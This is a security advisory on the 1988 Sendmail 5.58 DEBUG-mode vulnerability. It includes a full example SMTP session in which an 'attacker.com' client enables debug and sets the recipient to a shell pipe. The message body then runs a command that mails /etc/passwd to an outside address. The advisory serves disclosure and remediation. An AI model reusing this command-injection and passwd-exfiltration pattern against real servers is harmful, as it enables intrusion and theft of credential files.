Berkeley Sendmail DEBUG Vulnerability

Bugtraq ID:	1
Class:	Configuration Error
CVE:
Remote:	Yes
Local:	Yes
Published:	Oct 01 1988 12:00AM
Updated:	Oct 01 1988 12:00AM
Credit:
Vulnerable:	Eric Allman Sendmail 5.58
Not Vulnerable:	Eric Allman Sendmail 5.59

Berkeley Sendmail DEBUG Vulnerability

Sendmail's debug mode allows the recipient of an email message to be a program that runs with the privileges of the user id which sendmail is running under. This user is normally root.

This allows an attacker to set the recipient to the shell and include shell commands in the message body.

This vulnerability was used by the Morris Worm.

Berkeley Sendmail DEBUG Vulnerability

220 mail.victim.com SMTP
helo attacker.com
250 Hello attacker.com, pleased to meet you.
debug
200 OK
mail from: </dev/null>
250 OK
rcpt to:<|sed -e '1,/^$/'d | /bin/sh ; exit 0">
250 OK
data
354 Start mail input; end with <CRLF>.<CRLF>
mail [email protected] </etc/passwd
.
250 OK
quit
221 mail.victim.com Terminating

The sed in the receipient strips all mail headers from the
message before passing it on to the shell.

Berkeley Sendmail DEBUG Vulnerability

Solution:
Upgrade to sendmail 5.59 or later and disable the debug option. All versions earlier than 5.59 are vulnerable.

Berkeley Sendmail DEBUG Vulnerability

References: